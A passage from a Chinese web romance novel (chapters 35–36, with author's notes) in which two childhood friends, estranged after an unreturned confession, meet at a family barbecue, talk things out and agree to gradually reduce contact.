那种孤寂心闷的堵塞感就像是从四面八方压过来,把她的空气都汲取走,逼得她喘不上气。 还有个很大的原因是他们前段时间一直待在一起,虽说他们待在一个空间内的时候话没那么频繁,但就是知道有个人在身边陪着。 对比现在既不能见面又不能聊天的情形,悬殊委实太大,让人更是难以适应。 惹得虞千绾都不自觉怀疑,自己真的是个很宅的人吗? 会不会她其实也没那么能习惯独自宅在家里呢,她是需要陪伴的,需要情绪的出口,只是商恪景一直在,他们又离得近,让她自己都在无意识中忽略了这点。 最终,脑子乱糟糟一片的虞千绾也没得到个准确结果,只能靠着写论文、忙工作、刷剧以及和姐姐外甥待在一起尽可能转移自己的注意力,将现下自身无法消解的情绪交给流逝的时间- 这段日子以来,商恪景同样不太好过。 发现虞千绾离开就没再回来,他感觉头顶的天都摇摇欲坠,数不清多少次点入她的聊天框敲下文字,但最后都以删除告终。 因为精神萎靡不振,觉也睡不好,完全没有旁的心力和体力,商恪景这些天都没去球场和篮球队的大家一起训练。 直到周五这天,商恪景想着明天就要上场打比赛了,得去和球队的大家打几场找找手感,万不能因为他输了比赛,这才逼着自己多吃了几口饭菜提起些精神去训练。 反复给自己心理暗示才提起的那点斗志在出发前拿毛巾和矿泉水塞入包中的时候轻易土崩瓦解。 原本能自己做的日常事因为有了她的参与变得格外有意义,现下又乍然失去,心中酸涩也更甚。 不知道她现在在哪…… 在做什么…… 心情如何…… 答案全都无从而知。 对于一段不仅自身相熟且周围人都知道他们相熟但却突然面临危机的关系而言,每一次踏出接触到人都是一次未知,不明情况的人很容易无心提到对方。 商恪景去到球场后就面临到了这样的处境,所有看到他独自一人出现的第一反应都是往他身后看一眼,没看到习以为常的那个人,然后困惑地问:“诶,你今天怎么一个人来了?虞千绾没来吗?” 商恪景每听到一次,心口都仿佛被扎了根小刺。 但面上都会很淡地笑着轻飘揭过,“她有些事。” 大家都是下意识的无心那么一问,对答案也不会存疑,点点头就带过去笑呵呵聊别的了,只留下情绪又一点点翻涌而起的商恪景。 这大概就是他俩太熟的一个弊端。 但以前的他们吵架基本都不隔夜,并没尝到过这种滋味,现在尝到……真真是比最不爱吃的食物还要难以下咽百倍千倍。 性格较为敏感的魏明轩今日要去医院复诊,现在不在球场里,所以没人觉察到商恪景的强颜欢笑,更没觉察到他刻意隐藏的难捱。 很快,大家上场练球,注意力都放在球上,对商恪景情绪感知的敏感度又降低不少。 这次的四进二比赛,京大抽签抽到的对手是四强里最弱的队伍,那支队伍也是走运,一路抽的都是实力不太强的对手,他们能进到四强已经在朋友圈发疯好些天了,不敢再奢望能打过京大篮球队。 京体大抽到的队伍虽然也挺强,但肯定强不过京体大,所以基本可以确定最终由京大和京体大角逐冠军。 虽说如此,但没上场,没真的赢下比赛敲定胜局,悬着的心总是没法彻底放下的,尤其商恪景,他怕自己会影响到团队的胜利。 他已然在努力的调节情绪了,但情绪本身就是偏感性的,很难完全控住。真能全由自控,大概就不叫情绪了。 商恪景只能竭力稳住。 起初,他还有些担心自己有没有那体力,因为这几天他都没怎么好好吃饭,做什么都倦倦的没劲,乍然打篮球这种高强度运动身体不一定能调动起来。后来他是球场里打得最猛的那个,队友们都逐渐开始吃力跟不上他的动作,也意识到他的异样。发展到最后,商恪景几乎是在用一种发泄的方式打球。 徐盼雁陪着魏明轩复查完来到球场的时候,已有几个人满身大汗躺倒在球场外沿喘着粗气完全不想再动一下。 累到极致也没那么多讲究,顾不得地上还有浮灰,直接就躺地休缓了。 魏明轩远远瞧见就绷起表情指着他们扬声:“哎!一下午不盯都不行,不许加练,都忘了教练怎么说的了是不是?” 看他们累成这样,魏明轩想当然的认为他们是背着自己偷偷加练了。 结果走近询问后,魏明轩才知,他们并没有加练,今天训练的时间还没往日的时间长,但因为商恪景今天打得很猛,跑得速度也很快,于是把整个球队的强度都拉了上来。 在这期间,商恪景依旧在场上打球,并没有停下的意思。 想到什么,徐盼雁拽过魏明轩胳膊,踮脚凑在他耳边小声说了几句。 魏明轩闻言思索几秒,主动调整位置行至商恪景身边的空处,“恪景,咱们虽然训练时间是固定的,但今天强度高,可以提前些结束。你实在想练也行,但最多就是之前定好的时间哈,别再往后练了。” 商恪景点了点头,和魏明轩之间的距离很快又因为打球拉远。 逐渐的,球场上的队员越来越少。 他们跟不上商恪景的训练强度,累得气喘吁吁,再不自觉下场怕是腿都打软,现在都坐在长椅上看着依旧保持高强度状态打球的商恪景直呼恐怖如斯。 “我靠,商学长这是前几天没来训练,今天想都补上吗?累死我了。” “哎哟……要了我半条小命。” “该不会是和虞学姐闹别扭了心情不好吧?” 有一人无意说出了真相,魏明轩当即拍了拍他的腿,“别瞎说,更不能多扯人家女生。恪景肯定是前些天没过来练习,怕影响了咱们明天的比赛多练练。” 那人闻言一秒打了打自己的嘴,“是是是,队长你别误会,我没那意思,我就是担心学长。他几乎每次出现都跟虞学姐待在一起,虞学姐今天还没来,我才冒出这个念头的。” “嗯,知道你是好心,但没凭没据的话还是尽量别说。” “好,你这么一说我就反应过来了。” 魏明轩笑着拍了拍他的肩背,视线很快又回到商恪景身上,心里默默思忖着,如若商恪景到训练时间结束的时候还不停下该怎么开口。 幸而,提醒的闹铃声响起时,商恪景如约停了下来。 但乍然停止逾过身体承受能力的剧烈运动,商恪景显然不太好受,视线突然一片晕眩,他立刻低头弓下了身,双手撑在膝上维持着身体的平衡。 这幕落在旁人眼中,并没那么清明的感知到他的难受,只当他是刚运动完累了这么缓缓。 休缓的差不多的几人分别拿着纸巾和水上前去递给商恪景。 有人扶住了他胳膊,有些发飘的商恪景有了支点感觉好了些,道了声谢接过矿泉水喝了半瓶,边擦着汗边往长椅处去。 临到长椅打算坐。 魏明轩出声提醒,“拉伸一会儿再坐吧,不然你好几天没打,今天突然这么高强度再不拉伸明天一早打比赛的时候腿肯定酸。” 商恪景照做,但没拉伸的没那么到位,堪堪几分钟就在最角落的位置坐了下来。 魏明轩见状就推了推身边几个要么闲聊要么玩手机的队员,“你们别偷懒,人家商恪景满满当当练完了规定训练时间才休息,你们呢,现在也休息够了吧,上去继续练,我计时。” “啊……” 队员们齐刷刷发出哀嚎声,但哀嚎无果,魏明轩现在不仅用单拐走路走得顺溜,打人也顺溜,拐杖一抡,他们霎时都不敢有什么意见了,全都起身跑上球场训练,生怕冷不丁挨一下。 坐在角落里的商恪景呼吸还没喘匀,但低缓了许多,垂着眼睑不知在想什么的他忽然掏出手机,点入微信。 最先映入眼帘的就是置顶上与虞千绾的对话框,里头还有着早就打好但一直没发出去的文字—— 【周六的篮球赛,你还来吗?】 “恪景。” 商恪景想得出神,都没听到魏明轩由远及近的脚步声,直到他喊自己名字才骤然回过神看过去,“……怎么?” 手机屏幕又被摁灭,那条消息依旧没有发出去,持续以草稿的形式保存在商恪景的微信置顶中。 魏明轩朝着商恪景笑了笑,坐在了他身边。 “就那个……雁雁今天陪我去医院复查的时候,等叫号期间闲着无聊,就主动去找虞千绾聊天来着。” 好些天没有虞千绾的消息,倏地听到她的名字,商恪景没什么神韵的眼神都在瞬间恢复些熠熠。 “雁雁本来想跟虞千绾聊聊明天篮球赛的事,结果虞千绾家里好像有什么聚会,得去陪长辈,说是明天没法来看球赛了。” “家里有事正常,本来也没什么的,但我过来瞧着你这样……” “是不是你们之间闹什么矛盾了?还是虞千绾真因为球队里那几个嘴快的瞎说你们之间的关系感觉到压力不好意思再来了?无论怎么样,有什么我可以帮上你的吗?你都可以直说,我能帮上的一定帮。” 换做平常,魏明轩绝不会如此主动去询问别人没打算主动说的隐私。 但现在的情况不同,他们是队友,明日还有重要的篮球赛,作为篮球队的队长,魏明轩认为自己有这个职责和义务在发现队员的情绪低宕时努力为其疏导。 商恪景却根本无心在此,旁人不知,但他知道,那是虞千绾找的借口。 她家长辈的聚会压根就不是周六,她只是单纯不想见他罢了…… …… 很快,四进二的篮球赛开始又结束。 京大篮球队和京体大篮球队没什么意外地闯入最终决赛圈,将在下周六比出第一第二名。 这天的凌晨,虞千绾脑子里的念头格外乱,她知道这个时候她不适合再去看商恪景的球赛,既然意识到感情的不对等就应该当断则断,否则只会延续彼此难受的时间。 但在感性上,她又不自觉脑补商恪景看不到她的怅然神情,以及……当初是她帮徐盼雁问的他要不要去参加篮球赛,他去了,她却不去了,心头不自觉感到深深的愧疚。 就这样,虞千绾失眠了,直到窗外都渗入些微光才实在困到不行睡着。 她睡得迟,所以睡到中午才醒。 睡醒拿起手机就发现徐盼雁从一早到篮球场的观赛席就在给她发消息了,陆陆续续地给她发了一早上,最后一条消息距离现在才过去十分钟。 【千绾,我到现场啦】 【(分享图片)】 【(叹气.gif)】 【想你,每周六都会跟你一起看球赛,今天你不在,身边空落落的好不习惯……】 【千绾,你是不是和商恪景闹矛盾了啊T~T,虽然你们都说只是因为家里有事才没来,但我怎么感觉你们俩怪怪的……】 【千绾,虽然我不知道你们怎么了,但我感觉商恪景应该很希望你能来,他往我这边望了很多次,估计是想着你来的话会和我坐一起。】 【千绾!好消息!咱们晋级啦,商恪景应该也挺开心的,但抵不过负面情绪,很快就不笑了,他这两天就跟变了个人似的……干什么都淡淡的,看起来碎碎的,你呢?该不会也这样吧?】 【(抱抱.gif)】 【不高兴一定要跟我说啊。】 【宝,下周六你该不会还不来吧?那可是总决赛啊(可怜.emoji)(可怜.emoji)】 【好想你也来,不然总觉得缺了什么(大哭.gif)】 虽然早有预料,但真从徐盼雁的文字里看到对商恪景近况的描述,虞千绾心口就像是瞬间被灌满了柠檬水,酸涩又闷胀。 但凡换个与旁人的事,虞千绾都不会瞒着徐盼雁,她也不是个能藏事的性格,会立刻倾诉出去,这样自己心里也好受,但商恪景……二十多年的生活实在太长太长,她都不知该从何说起,也不想、不敢再说,她怕一提又会更彻底地陷入回忆之中难以自拔。 于是,虞千绾的答复不仅避重就轻,还较为官方。 【我跟商恪景没什么啦,你们别担心】 【至于比赛,我在不在现场都会替大家加油的!】 徐盼雁那边秒回,但一来一回的密切聊了几个回合后觉察到虞千绾不想聊及商恪景相关,便也没再多问,只让她下周六如果又来看球赛一定要告诉自己,她会帮她留位- 周日。 虞家二老的结婚纪念日。 老人家到如今这个年岁,对金钱权利已经没有什么追求,最大的盼头就是和孩子们多些待在一起的时光。 但每次聚在一起就光是吃饭闲聊也略显无趣,时间也较为有限,二老便想着弄些小活动,比如一起从揉面开始准备做出水饺晚上吃,又或是做别的菜,总归只要是能让大家在一起多些互动的就行。 奈何现实和想法差距太大,两家凑在一起都没几个是会做饭的,他们大多都是自小就被保姆和厨师照顾着的,一次厨都没下过,更别提揉面这种颇有难度的了。真要包饺子或准备两家人的晚餐,怕是等到第二天都不一定吃得上嘴,就算吃上了也是不能论味道的那种,只能说可以充饥。 两家人显然都对自己的能力很有清醒认知,于是一番讨论后,都不想亏待自己肚子的大家决定进行一次庭院烧烤。 食材都由保姆买好腌制好,如此他们只需将食材串起来再烤熟即可。 烧烤这种东西,就算拿捏不住火候没法烤出恰到好处的味道,总也不至于难吃,比起做饭容易许多。 而且串串很费时间,正好能陪着二老多聊聊天,很合老人家心思。 他们在群里约定好,下午两点半左右到二老家集合。 全程,商恪景都没在群里发过消息,也没人刻意去问,想当然的认为他会来,所以窥屏至今的虞千绾至今仍旧不知他到底来不来,也不敢主动开口问,心始终悬着。 作为主家,虞家一行人比约定时间提前了半小时到达二老家,先了解好具体流程,每人熟悉一点,省得商家人来了后都手足无措的。 虞千绾起初是果断选择串串的,但她有些受不了生肉的触感,软腻腻湿漉漉的,拿在手上串串的时候莫名恶心,她便抛弃了串串,转而选择去学烤肉。 原本站在烤架前学习的人是虞千绾的爸爸,带有些作弊意思的,他喊来了家里很会烧烤的厨师临时抱佛脚学了学烧烤的手法和大致时间,狡辩说聚会现在还没正式开始,真到烤晚上吃的那些东西时他肯定亲力亲为,不会让厨师在这帮忙。 但见虞千绾过来后,他瞬间就把这事丢给虞千绾,让她好好跟厨师学学,转头就去找老婆一起串串了。 虞千绾看着爸妈数十年如一日的腻歪劲,温笑着摇了摇头。 不知道怎么的,她脑海里突然闪过了商恪景…… 笑容骤止,虞千绾猛地将头剧烈摇了几下,试图把他从自己的脑袋里摇出。 同样也在串串的虞昭音近距离吃到爸妈的狗粮,脸上也挂着些笑,时不时搭几句话。 年纪最小的虞景澄则和年纪最大的二老在一块撸猫撸狗,只需享受。 一家人分工合作,看起来还挺像那么回事。 庭院里保持着日常的温馨感。 一道忽然传入的微扬女声打破了这份安谧,“呀,你们都开始了,也不等等我们。” 是商恪景的妈妈桑元蔚。 她率先进到了院中。 两家人太熟,完全不需要什么客气和拜访礼仪。 虞千绾妈妈贝菡热络冲着好闺蜜笑,直接招呼她过来自己身边,“元蔚,你们来啦,快来跟我们一起呀。” “好啊。” 桑元蔚视线扫了圈庭院里的安排,一瞬间也就定好了自家的安排,“爸妈,你们去跟商伯父蔚伯母一起聊聊天吧,正好小橙子也在那呢,您前些天不是还惦记他呢嘛。” “老公,知珩,咱们去跟菡菡她们一起串串吧,那估计是个大工程。” 烧烤架这边有烟,所以离大家都稍微远一些,防止油烟飘过去呛着。 虞千绾就这么在角落里默默瞄着入口处,观察着进来的一个个人。 她的方向是侧对着庭院入口处的,有墙壁做遮掩,并不能一眼看到究竟来了哪些人。 每看到一个人走出,不是商恪景,她就会松口气,然后再提口气等待着下个人的出现,再松…… 伴随着桑元蔚的话音落地,虞千绾彻底吁出口长气。 心想桑阿姨都安排完了也没提到商恪景,他应该是没来的吧。 结果这念头还没落地,空旷了须臾的入口处突然迈出一道颀长的熟悉的身形。 分明距她有着不短的距离,却仿佛在瞬间侵占满了她的视线。 而他,也在瞬间准确望向了她的所在。 虞千绾呼吸一窒。 他们纷纷默契地别开了视线,都没再看对方。 然而这还不够…… 桑元蔚笑吟吟的声还在继续。 原来商恪景是因为去放家里人带来的礼物才迟了些过来,桑元蔚简单提了几句,又同虞家二老说了几句祝福话,而后看着已经坐下来默默串串的商恪景,拍了拍他肩膀,继续安排,“恪景,你去跟虞千绾一起学烧烤,你们年轻人擅长这方面。” 作为现场除了当事人外唯一一个知情他俩现状的,虞昭音掀眸看了眼。 商恪景明显也有些不自在,但那种不自在和虞千绾不同,一个是既有很多顾虑也怕见面,一个是很想见面但也有很多顾虑。 但桑元蔚的话还在继续,“快去吧,别让千绾一个人在那弄。” 虞爸还当商恪景是觉得他们这边要串的串多不好意思离开,还挺善解人意地笑呵呵笑说:“是啊,恪景你别客气,去吧,我们这边人够。” “你正好趁着现在厨师在旁边教学跟绾绾一块多学学,傍晚正式开烤的时候就没有厨师了,到时候还指望你们教教我们呢,要是烤不好,一群人都得饿肚子了。” 作者有话说:这章是11号和12两天更新合一~ 第35章 第 35 章 “我不喜欢你”“我知道…… 自从商恪景进来和他视线对上后, 虞千绾就不敢再直接看过去,只用余光暗戳戳瞟着,但又怕即使是余光太频频看去也可能会被逮住,所以虞千绾克制着, 边装模作样和厨师交流, 边隔一会儿超绝不经意往串串的一窝人那瞟一眼。 结果就低头认真和厨师学了几分钟的功夫, 再偷感很足地瞄过去时, 居然发现商恪景已经在不知何时起了身, 并且朝她的方向走来了好一截。 虞千绾登时收回眼神,不敢再瞟过去一眼, 脑袋持续低着, 腰背也在瞬间绷得紧紧的,齿关都不自觉咬合, 拿着铁签的手指都因为用力指骨凸显得更为明显。 商恪景并没径直走到她的身边,而是同她保持着一段距离站到了厨师那边。 厨师见商恪景过来, 主动微笑着开口询问:“您也打算练练手吗?” “嗯, 麻烦您了。” “好嘞,都是我应该的,那我给您拿串肉。” 虞千绾爸爸昨天就联系了厨师说今天教教他,厨师便让保姆今早备菜的时候把那些本身就要被丢掉的肥肉和切除的菜梗留着串在一起, 放在现在给他们练手刚好, 不浪费。 站在烧烤架正中间的虞千绾闻言,默默拿着手里的烤串往最右侧挪了挪,给商恪景让出一大半的空间。 但这个举措发生在现在这个时候, 没有体贴,全是疏离。 商恪景清晰感知到,便也只待在烧烤架左边一隅, 不向她挨太近让她别扭。 不知真相的厨师站在俩人中间,一会儿看看左边一会儿看看右边,很敬业很认真地教着他们。 若非有他的存在,氛围恐怕当真要寂静尴尬得可怕。 但一刻钟后,这幕还是没能躲掉。 厨师说他们学得差不多了,剩下就是多练即可,他也需要去厨房给大家准备下午茶了,所以就先离开了。 烧烤架前登时只剩他们俩。 两人都低着头或时而往另侧空处看一眼,总之就是不会看向对方那边。 正在虞千绾感觉气都要喘不上来的时候,姐姐过来解救她了。 虞昭音远远看过来,发现他俩头一个比一个低的时候哭笑不得,但到底是自己看着长大的弟弟妹妹,不想他们如此僵持着彼此难受,便主动上前找了个话题,“千绾,你用蓝牙连那个音响吧,在庭院里放点歌更有氛围感。” “哦,好。” 虞千绾一秒抬起头,面色如释重负。 明明手机就在她裤兜里,拿出来连接蓝牙放首歌就行,她的第一反应却是往另侧先迈了两步,彻底远离了烧烤架,然后想起烤串还在烧烤架上又折回来把烤串拿下,暂时放在碟子上防止烤焦。 再状似不经意地稍稍挪远,实则在商恪景余光里分外明显。 站在俩人对面的虞昭音敏锐觉察到虞千绾离开的那一瞬,商恪景微微下抿的唇角。 照顾着他的情绪,虞昭音又主动和他搭话,“恪景,你有什么想听的歌吗?让千绾给你放。” 商恪景手上翻动烤串的动作一顿,借由虞昭音的话,他才能顺势看向虞千绾一眼。 虞千绾也下意识的看了过来,但这样的对视……还不如没有,商恪景只觉得陌生,好陌生的眼神,好不该出现在他们之间的眼神…… 商恪景率先低下了头,“……没,我都行。” 虞千绾也跟着垂下头,很别扭很小声地咕哝:“那我、我找个比较火的歌单随机播放吧。” “……嗯。” 这算是他们捅破窗户纸后的第一次对话,很简洁,也很生疏。 因为在以前,商恪景应该会立刻说出自己想听的歌,而虞千绾会得意洋洋说手机在她手上她就要放自己爱听的歌,才不管他要听什么。 然后不出意外,俩人会就此又展开一番幼稚的争论,全然不似今日这般小心翼翼地为对方考虑。 蓝牙连接成功,悠扬的歌曲通过庭院里的音响缓缓流淌出。 一窝一窝聊天的大家听到歌声都默契止住了话,朝着音响看了过来,同时一笑,只觉更是惬意安适了。 虞千绾和商恪景也因为虞昭音的存在没那么情绪紧绷,虞昭音会兼顾着他们俩,不让一个人沉默太久,只不过大多还是和虞昭音的对话,他们俩之间并没什么交流。 场面刚有些渐入佳境,虞景澄不知道在那边发现了什么新奇的小花,嘴上“妈妈妈妈”的喊着冲虞昭音小跑过来,拉着她就要带她去看。 虞昭音一走,虞千绾和商恪景瞬间就被打回原形,又陷入了沉默,只有音乐和烤串滋滋冒油的声音在持续。 虞千绾默默拿起几串生的烤串,继续放到烧烤架上烤着。 时间仿佛被摁下了慢速键,度秒如年。 虞千绾有些受不了这个氛围,反复在脑海里酝酿着由头,想着怎么离开才会显得不那么刻意。 但总没想到。 就这么,歌曲一首接着一首自动播放。 因为是随机挑选的歌单,里面有很多歌虞千绾在此之前都没听过,但有一首歌的歌词响起时,她的心神不自觉为之牵引。 “于是你名字 在我命运里 有真实的呼吸” “想证明我的勇气 我属于你 你属于你” “亲爱的事物太浅薄 请你看看我” …… “请你看看我。” 曲调很舒缓的一首抒情歌,整体没什么大起大伏,虞千绾却心如鼓擂,情绪莫名好像融入了歌曲里感知到商恪景的处境。 尤其是那句反复唱及的——[请你看看我] “虞千绾,你看见我了吗?” 这话又鬼使神差地冒出。 虞千绾神识不自觉飘远,联系到前几天姐姐同她说,在高中的时候就发现商恪景对她感情不一样了。 她忍不住地去想,到底是什么时候…… 她到底错过了什么,错过了多少…… “肉要焦了。” 冷不丁靠近的一声提醒。 虞千绾眼睫猛颤,骤然回过神。 这才匆忙意识到烤串已经在炭火上烤了太久,而且……肉已经焦了。 商恪景看到的是烤串上面,但更近接触着炭火的下面已经黑透了…… 正好一阵与之前相反方向的风吹来,瞬间将这难闻的焦味尽数灌入她鼻腔。 虞千绾身形下意识后撤,皱了皱鼻子,无意识发出声抗拒的从第二声滑到第四声的嗯调,“好难闻。” “我来。” 意识到他们之间不能如此的时候,商恪景的手已经习惯性地伸了出去抓在了虞千绾的铁签上。 但没被火烤到的铁签长度也就那么点,商恪景不可避免地抓住了一小截虞千绾的指尖。 在抓上去的那一秒,他并没想到这么多……可对现在的他们而言,这种碰个指尖的动作都透着极尽的暧昧。 虞千绾也恍惚了下,而后立即撤出了手指。 莫名觉着指尖很烫的背在身后搓了搓。 商恪景启唇,但欲言又止地憋下,将那几串已经黑了的烤串放到一旁。 他动作间,虞千绾无意滑过他手指的视线一怔。 他食指指腹前端那片皮肤的颜色明显不同于正常皮肉,应是那日在她家被汤的热气烫到留下的痕迹,还没完全好。 到底,虞千绾没有忍住,“……你的手,严重吗?” 商恪景也愣了下,显然没意识到她还会主动关心他,眼神里流露出的先惊后喜情绪也让虞千绾感觉心里酸酸的。 原来他们现在这种话都变得好像很稀奇,会让他有这样的反应…… 同时,她又有些懊悔自己的话。 明明准备好当断则断的,结果还是这样了。 委实是知易行难。 “不严重。” 商恪景一直轻缓的声都微微放大正常了些。 “哦,那我——” 虞千绾有些懦弱的想逃,却被商恪景发现,他突然急促地唤她的名字打断了她的话,“虞千绾。” 虞千绾伥伥噤了声。 “能聊聊吗?” 商恪景的声音又低了下去。 敛了敛眸,虞千绾很轻很轻地回:“……好。” 她其实也想找他聊,但苦于一直不知道该跟他聊什么,又该从哪开始。他既然愿意主动提及,那她也可以顺着他的话表明自己的态度。 “去那吧。” 商恪景指了指旁边的那条小道,里头有个木亭,下面有长椅,方便坐着说话。 最重要的是,完全不在庭院大家的视线内。 虞千绾点了点头,主动迈步前往。 商恪景跟上- 两人少有这种寡言拘谨的时候,相顾无言地在亭下坐了半分钟。 商恪景才开口打破这份沉寂,“你是以后……都不想再见到我了吗?” “想听实话吗?” “嗯……” 不喜欢拐弯抹角的两个人一上来就是开门见山的话。 虽然很多画面、对话,他们都在脑海里构设过很多次,并不陌生,甚至心里都有数。 但真到这一刻,心都揪着。 虞千绾抿了抿唇,没再逃避商恪景的眼神,侧目直视着他,酝酿须臾,简明扼要说出最关键的几个字,“……我不喜欢你。” 商恪景眸光黯淡的烁闪了下,声音蓦然都哑了些,“我知道……” 话说到这,虞千绾也没再去多顾及什么,只把自己内心的真正所想全数坦诚告知给他,“这么多年,你也知道我,我不会和不喜欢的人拉拉扯扯,不想浪费对方的感情,也没办法和明知道对我有好感但我并不喜欢的人做朋友。” “可这个人是你的话……不得不承认,我确实不想走到那一步,你是我很珍视的朋友,我没办法像对待别人那样不留情面的决绝对待你,我私心想能再见到你想和你继续做朋友。可是也仅限于此了商恪景,这种情绪抵不过我想要结束的情绪,我们都知道那不现实。而且正因为我最重视你这个朋友,所以我不想很虚假的当做这一切都没发生,继续装傻和你做朋友,我们比谁都清楚做不了之前那样真正的朋友了,那样下去只会给你不该有的希望延长你难受的时间,我也会在这段时间里很不舒服,所以我们……还是一点点退出对方的生活吧。” 看着她不再躲闪的坚毅眼神,几乎被判了死刑的商恪景眼圈一下就红了。 他到底没法再这么眼睁睁地看着她听她说,落败地别开了视线,很无力地垂着脑袋。 虞千绾看到,他低下头的那瞬间,接连两滴泪从他眼眶径直坠下。 她见不得商恪景如此,但现下,她没有办法…… 他们之间总是要说开然后不再接触的。 她本以为,自己把话说出,商恪景低着头默默流一会儿眼泪会说“好”,如此……他们这多年的友情也算是被彻底画上了句号。 不料,商恪景却突然红着双眼难捱地微蹙着眉,看起来就像是只破碎极了的大狗狗同虞千绾道:“既然你说,一点点退出对方的生活,是不是还要给彼此留点时间?” 虞千绾没想到商恪景的关注点在这,她语噎几秒,有些捉摸不透地反问:“……什么意思,你想怎么样?” “我知道我们回不到过去了,但毕竟这么多年……乍然连条消息都不能发,真的很难适应。” “我想我们能不能,缓缓的,一点一点的改变……比如每天少联系一些,每天少见一面,一天一天减少……” “从好朋友变到朋友再到点头之交……” 但凡面对的人不是商恪景,虞千绾估计一秒就拒绝了,可看着他红通通的眼睛,看着他的眼泪,听着他话语里的哽咽,她委实没法再把那些很直给的话诉出口。 她努力的思量着,有没有什么委婉一些的表达方式…… 话落半分钟都没得到虞千绾的答复,商恪景又开了口,因为有些泪意,他竭力闷着,讲话带着着闷堵的鼻音,“……你看今天的情况,难不成以后我们每次见面都要这样尬着连说句话都那么不自然吗?” “我们家人联系太紧密,以后免不得还是要见面的,没办法完全真的如你所说彻底退出对方的生活。我觉得最好的关系就是我们的联系一点点减少,最后能够做到平常不联系,但在家里聚会的时候碰到也能像正常朋友那样说几句话,起码不让家里人起疑心,你觉得呢?” 商恪景的话不得不说……听起来好像有那么一点道理,虞昭音之前也跟虞千绾提过这点,他们因为家里的熟识没法断得很干净。 如若表现的太明显被家里人发现问及,确实也很难去解释,但虞千绾不认可商恪景的话,他们之前一天发最少有几百条消息……如若一天才减少一点点,那得减到何年何月去。 于是并不赞同的虞千绾皱眉说:“我觉得不太行……太慢了,最起码应该保持着不重要的事不联系对方,平常也不随便去对方家里,这样一个状态。” 他们毕竟还没毕业,现在还住得很近,如若真有什么要紧事,哪怕作为邻居也不能见死不救。 “好。” 商恪景不假思索应下。 他实在答得太快,虞千绾莫名有种掉到坑里的感觉。 但看着他那双依旧泛着红的眼睛,又觉是自己多想…… 算了,他应该做不出什么吧? 重要的事也不是经常会有的…… 作者有话说:[狗头] 注:“于是你名字 在我命运里 有真实的呼吸” “想证明我的勇气 我属于你 你属于你” “亲爱的事物太浅薄 请你看看我”——《你之于我》《 》 35-40 第36章 第 36 章 不破不立 两人从亭下出去, 重回院中的时候,虽然还保持着距离感,但将话说开明显缓和了些,氛围和举措相较之前之前没那么刻意了。 贝菡一瞧见他们就远远地朝他们招手, “千绾, 恪景, 你俩单独跑哪去玩了, 半天没瞧见你们, 快过来!有好消息跟你们分享。” “怎么啦妈妈。” 压在心里头这么多天的话终于说出去,虽然现在还没完全处理好, 还需让时间慢慢冲刷, 但刚聊完的当下,虞千绾还是挺舒畅的, 起码把自己的态度都跟商恪景表达清楚了,应妈妈话的语调都俏皮了些。 原本三三两两在一起待着的大家现在全都聚在一块看着手机, 面上都洋溢着喜色, 就连一贯淡淡的商知珩都看起来是那样的高兴。 虞千绾耐不住好奇,小跑了过去。 “看,你旎旎姐今天又在国外拿奖了,这次可是把三大电影节都集齐了。” “天呐, 旎旎姐好牛……” 虞千绾惊讶掩唇, 从妈妈手里拿过手机看着屏幕里举着奖杯的明媚张扬大美人,由衷为其高兴。 “我看看。” 商恪景微微躬下身。 闻言,虞千绾下意识把手机转过去, 眉梢高挑兴奋分享,“你看!旎旎姐就这么顶着这张神颜和超绝实力闪耀全球!” “这个奖项拿到手,在电影界完全是个更加断层的存在了, 旎旎姐估计又能在热搜挂好久了。” “那可不,她值得!” “得这样的人才能算得上是演员。” “啧。”虞千绾一秒听出商恪景的内涵,当即扫去一眼警告他,让他别多说,这么多长辈还在这呢,她可不想扯出常桦让自己那段丢脸的感情暴露在家人面前。 两人到底太熟,无论是共同的过往记忆还是相似的年岁。随随便便一个话题都能聊上几句,还能自然牵扯出很多只有他们之间才懂的内容。 又都是感性至上的性格,高兴劲一上来你一句我一句的瞬间就忘了原本的尴尬处境,待到回过神来的时候,这一切已经习惯性的发生过了。 他们只能面面相觑几秒,然后一前一后地别开视线不再看对方,好像很忙的样子给自己找点事干。 虞昭音看着刚还要互掐起来的两个人突然分开距离,反应了下,没绷住掩面闷笑声。 作为现场唯一知道他们近期发生了什么的年长方,她就像是在看两个纯情懵懂的小朋友因为爱情饱受苦恼,可又莫名可爱。 虞千绾商恪景口中的“旎旎姐”全名叫苏旎,出生于高知家庭,爸妈皆是在国家实验室里搞学术研究的顶尖人才,大多时间都花在研究上,有时忙迟了就直接睡在实验室那边的住所都不回家。 正因如此,苏旎从小和爸妈聚少离多,爸妈更在她高一升高二的重要时期需要作为领头人带领团队去往国外进行进行两个国家团队的合作研究项目。 爸妈本想带苏旎一起去的,但苏旎不想,反正爸妈本来就没时间陪她,她在国内还有朋友,冷不丁去到国外那才真是一个陪伴的人都没有。 爸妈拗不过她,最后,苏旎就被她爸妈拜托给了商恪景爸妈照看,苏旎爸爸和商恪景爸爸关系很好,苏旎又和商知珩年纪相仿,念的也是同一所高中,一起也算是互相有个伴。 于是,距离高考的两年时间里,苏旎都住在商家,虞千绾商恪景也因此同她熟络。 但高考完后,本来说好要报考京大的苏旎不知道为什么突然又选择出国念书,后来靠着出众的外貌在国外被星探发现,正式签约了经纪公司主攻电影。她的事业运很好,算是天时地利人和,第一部出演的电影就靠着几秒钟镜头惊艳了不少观众,后来更是拍一部火一部,拿奖也是拿到手软,如今的她别看才27岁,却已是国际知名的巨星了。 因为从小没有感受到太多亲生父母的关爱,但在商家借住的那两年感受到太多家庭的温暖,所以哪怕苏旎出国这么多年,还持续和两家人保持联系,时不时就寄些东西回来给他们,得奖的第一瞬间也发到群里分享给他们。 大家都与有荣焉的在群里祝贺苏旎。 苏旎那边活动还没结束,并且工作人员给她准备了庆功宴,所以还有很多事要忙的她这会儿没法在群里和大家聊太多,很快就收了手机回到摄像头下接受采访。 但在庭院中,大家对苏旎这事的欢喜没那么快就揭过,他们依旧在聊苏旎。尤其长辈们凑在一块很喜欢感念往昔,也不知从哪句话开始就突然将话题拽到初见苏旎的那一天,然后满脸欣慰说孩子长大了,时而又怜惜她独自在异国他乡打拼太累,身边连个陪着的家人都没有,她爸妈前两年就完成和国外合作的项目回国了。 就这么,有关苏旎的话题一直持续到傍晚前,若非再这么聊下去根本就串不完烤串,他们怕是还不知停。 大家围着圈坐,合力以最快速度串串。 紧赶慢赶的,在天彻底黑透前,一大帮子人终于吃上了烤串。 虞千绾饿坏了,拿起一串全是肉的大号串就往嘴里塞。 坚定的一口咬下去,比美味先感知到的却是疼痛,“啊——” 她吃痛地叫了声,五官也在瞬间地皱成一团。 